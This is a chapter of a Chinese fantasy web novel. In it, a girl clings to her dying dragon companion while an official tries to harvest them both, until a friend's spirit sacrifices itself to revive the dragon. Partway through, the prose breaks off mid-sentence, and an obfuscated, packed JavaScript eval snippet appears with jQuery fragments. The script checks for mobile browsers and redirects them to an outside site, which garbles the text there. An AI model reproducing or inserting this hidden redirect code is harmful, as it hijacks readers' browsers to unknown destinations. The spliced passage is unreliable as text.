气泡外毁天灭地的景象，姜黄看不见。


    但气泡没有隔绝她的其他感官，她能听到老珊瑚崩碎的悲鸣，能感觉到骨夫人和灵漩气息被霸道的力量瞬间湮灭，能闻到海水中弥漫开的相当熟悉的属于海晶女们的生命彻底消散的冰冷味道。


    她的新朋友们，没了。


    不是死了，死了还有个全尸。


    没了就是找不到任何祭奠之物，就跟没存在过一样。


    哭也哭不出来的她抬起头：“满意你看到的么，龙官长大人？”两道殷红的血泪，像不可逆的溪流，在她狼狈的面颊上留下触目惊心的痕迹。


    即便看到她这样，王知之也不够满意，毕竟姜黄和关关现在不是王知之属意的形态了。


    王知之没有说话，其他吻卫自然也不敢擅自出声。


    姜黄抱着怀中微凉的身躯，心已经不再抽搐。只是她实在想不明白，暖呼呼的关关的生命也在慢慢从她手中流走，为什么世上又要徒留她独自一个人？


    父母她没得选，师长她没得选，朋友也没得选么？


    “君蛟说，我和关关，我们是配好对的‘钥匙’和‘锁’……”


    “她这么说也没错。”


    蛮好的，连敌人连仇人都认定她和关关最亲密，姜黄扯了扯嘴角，血泪颤了颤，滴落在关关的鳞片上。


    “所以我猜，无论是钥匙损毁，还是锁被破坏，结果都是一样的，再不会有新的另一半可以配对，是不是？”她嘴角扯起一抹不应该出现在十几岁少女脸上的凄厉而疯狂的夸张弧度。


    “既然关关现在已经没办法再吃掉我……那么，由我来‘吃’掉他，也是一样的吧？”


    “哈，”她低下头，将脸颊贴近龙首，依依不舍地最后告别，又像是在酝酿玉石俱焚同归于尽的仪式，“总之，我凭什么让你称心如意呢？”


    你杀了我的关关，你也别想得到你想象中完好无缺的龙十八！


    王知之脸色一沉，阴鸷地说：“你觉得自己有得选吗？在我面前，你有资格选吗！”


    挑中姜黄的是他，绕了好大圈子特地让姜黄“碰巧”遇到关关的是他，他主宰了整个事件，即便途中有小小的波折，那也不妨碍他收走姜黄的血液和关关的躯壳。


    不过是多费些功夫，剔除关关作为杂质的灵魂罢了。


    “选不选，在我不在你！”姜黄狰狞的张大嘴，作势向关关狠狠咬去。


    王知之甚至没有再动用那柄重剑，只是抬起了另一只手，五指对着姜黄所在的气泡遥遥一握！


    “咔嚓！”勉强维系漂浮的气泡应声而碎！


    恐怖的束缚力瞬间降临，无形的枷锁将姜黄和她怀中的关关死死禁锢在当前的动作！


    姜黄下巴的每一寸肌肉，每一丝意念都被强行冻结了，关节错开，根本做不到去“吃掉”关关！


    王知之的身影一眨眼就如鬼魅般出现在他们面前，居高临下地俯视着她们，眼神冰冷如看死物。


    “是么？”他缓缓伸出手，指尖凝聚出一点红色微光，直指姜黄的眉心，“那你现在能动么？你的血，你的魂，连同这条小龙的龙骨龙魄，还不是被我轻松捏在手心里？你们两个，只能乖乖成为重塑十八的‘材料’。”


    看着姜黄明明看不到，依然恶狠狠的眼神，王知之还要接着击溃她的心理防线，“你们的意识，你们的挣扎，你们这可笑的无伤大雅的‘羁绊’，只会让‘熔炼’更加纯粹！”


    姜黄无神的瞳孔中，映着王知之指尖那点红光，越来越近，越来越近，红点变成红圆，速度并不快，却带着令人绝望的压迫感，就像即将倾倒却无法逃开的高塔。


    无尽的悲愤，无尽的无力。


    姜黄倒抽着气，合不拢的嘴挂着往下淌的口水，全淋在关关身上。


    可是她灵魂还在禁不住剧烈地挣扎反抗，虽然撼动不了王知之分毫。她拥在怀中的那缕生命之火，别熄灭啊！


    猛地一眨眼，血泪顺着关关的鳞片烫到王知之的影子，滋——


    “住，住手！！！”带着无尽焦急和心痛呼喝，如同惊雷般炸响！影子被姜黄的血液烫到，终于有幸跟王知之分开，虚影带着温暖而悲悯的气息站了起来，“龙官长大人，别这样。”


    “十……十八？”王知之瞪大了眼，上次仪式进行到一半，他没来得及跟龙十八说上话就被砸晕，现在听到熟悉的老友的呼唤，即便只是礼貌的唤他作“龙官长”，他也心跳如雷。


    “是我，龙官长大人，停下吧。”龙十八的虚影十分黯淡，没有连在王知之身上做他影子时那样浓墨重彩，劝解中带着疲惫与悲伤，“我为淬火山而死是心甘情愿的，你的执念，不该再害到更多的无辜之人。”


    “不！都怪那对父子，要不是他们心狠手辣！你怎么会死！”


    “我本来就无意称王，他们非要强加于我，污蔑我！觉得你会是帮凶提前铲除你！”


    “只差最后一步！十八，你信我，我能让你完整归来的！”王知之几乎是低吼出来。


    虚影按住了王知之心口：“忘了么，红玉不是用来作恶的。我和红玉，都是为了天下百姓安宁现世的。”


    王知之心口一震，那枚与龙十八相处过的红玉竟然反主，能量开始向着虚影倒流。


    “十八，十八你要干什么！”王知之急了，他不是不舍得红玉，只是龙十八根本没有实体，红玉的能量不是破败的虚影可以驾驭的！


    “我在帮你做正确的事啊。”虚影拍了拍王知之肩膀，继续快速吸收红玉能量，“你知道你眼前的孩子该有怎样的成就，别为了一己私欲，就断送百姓们的安生，答应我，好吗？”


    姜黄气息奄奄，这个孩子，是说她么？她今天还能活下来？那关关呢？“我……我的龙。”


    姜黄感觉有一只冰凉的柔软的手抚摸过她的脸颊，“以我之名，以我残存之生魂为引，龙官长大人，你知道该怎么做。”


    “不，我不知道！”王知之发出了痛彻心扉的怒吼，凭什么，关键时候红玉选择了龙十八，他明明是为了龙十八好，龙十八的惊世绝俗应该为世人所称颂，不该白白断送在那对恶心的父子手中！


    他要让龙十八起死回生，成为人族的君主，只有如此，百姓才能安居乐业，他做错了什么？


    牺牲一两个人又怎么了？


    王知之按在龙十八的手背，试图断开他与红玉的链接，却发现下一瞬，龙十八的虚影渐渐变红了，充盈的红影对着他笑了笑。“接下来，该你念了。”


    龙十八已经完成了前半截吟诵，红玉也主动让渡到了他身上，现在无论王知之如何阻止，都已经覆水难收，怎么会这样，王知之


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462083|179604||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的手死死按在龙十八手背上。


    他看着龙十八一脸坚定，如磐石根本无法撼动。


    他张了好几次口，想要说点什么，阻止龙十八继续。


    “念啊，龙官长。”龙十八凝视着他，眼神温和却不容拒绝，“念出那个誓言。你知道的，我们当年共同立下的守护之契，用在我身上，正合适。”


    王知之的嘴唇剧烈颤抖着，他看着龙十八熟悉又陌生的面容，这个他心心念念一直想要将其复活的人物，这双充满睿智与慈悲，如今只剩决绝的眼眸。


    他们还没有一起去创造更美好的人族世界，他怎么舍得念！他不想念！他不想！他只想逆转这一切，让十八回来！


    “你得让我当年的牺牲有价值，别再心存杂念。”


    “我……”王知之觉得每个字说起来都如此艰难，每个字都像费尽全身力气才从喉咙里抠出来，“以天地日月为证……”他真的念不下去。


    “继续啊，龙官长大人。”龙十八鼓励他，甚至唤他，“知之，想想我们当时畅想过的人世。”


    多么美好的愿望，可惜要用王知之的挚友来换。


    王知之哽了哽，垂下头，目光不由自主地就扫过被他禁锢的姜黄，还有她怀中气息近乎断绝的小龙，滔天恨意与不甘说来就来。


    凭什么？！凭什么他要为了这两个不相干的人，亲手断送十八复生的唯一希望？！


    什么未来的契机，他应该把握当下！


    “知之，心无杂念，说下去。”龙十八催促他，“我时间不多了。”虚影在红光的灌注下越来越凝实，却也透出即将达到极限的不稳定。


    “如果有一天，我还能再回来呢？难道你不希望我回来的时候，看到这世上会有多好么？”


    是，当下他们淬火山和王署战得焦灼，龙十八不愿意在现在重回人间也是有可能的。


    既然这次千载难逢的机会都被王知之找到了，王知之闭上眼，那留着姜黄和关关的命，总有机会能用上，先把红玉取回来再说。


    终究还是从齿缝中挤出了锥心刺骨的誓言：“以天地日月为证，十八之心血吾之身魂，皆献之，以此证道，惟愿再辟人间昌盛。”


    再次许下同样的誓言，红玉在虚影中骤然大盛，刺得姜黄都觉得眼前灼热。


    “知之，我要走了。”十八十分不舍得看着王知之，但他不放心，还有下一句，“若在今时今日，你取走姜黄与关关的性命，那我必魂飞魄散，永世再无轮回之机！”


    誓言落下，久落海天雷引动，咔咔劈穿海面，汽化海水，闪电环成一圈枷锁，大动声响击在王知之身上。


    龙十八的虚影几近于无，露出了一个如释重负的微笑：“知之，你保重。”


    红色虚影猛地爆发出最强烈的光芒，尽数涌向了姜黄怀中的关关！


    “十八！”王知之伸手想要抓住消散的光，却只捞到了一片虚无。


    关关缩小到手臂长短的龙躯，以肉眼可见的速度重新在姜黄怀里变得温暖，黯淡无光的鳞片重新闪烁起细碎的金红色光芒。


    微弱到几乎无法察觉的龙息，猛地喷在姜黄脸上。


    紧闭的龙瞳颤抖着，终于彻底睁开，才有了知觉的关关，眼里只有姜黄，努力而笨拙抬起前爪，轻轻地拥抱住了姜黄的脖颈，“姜……姜……”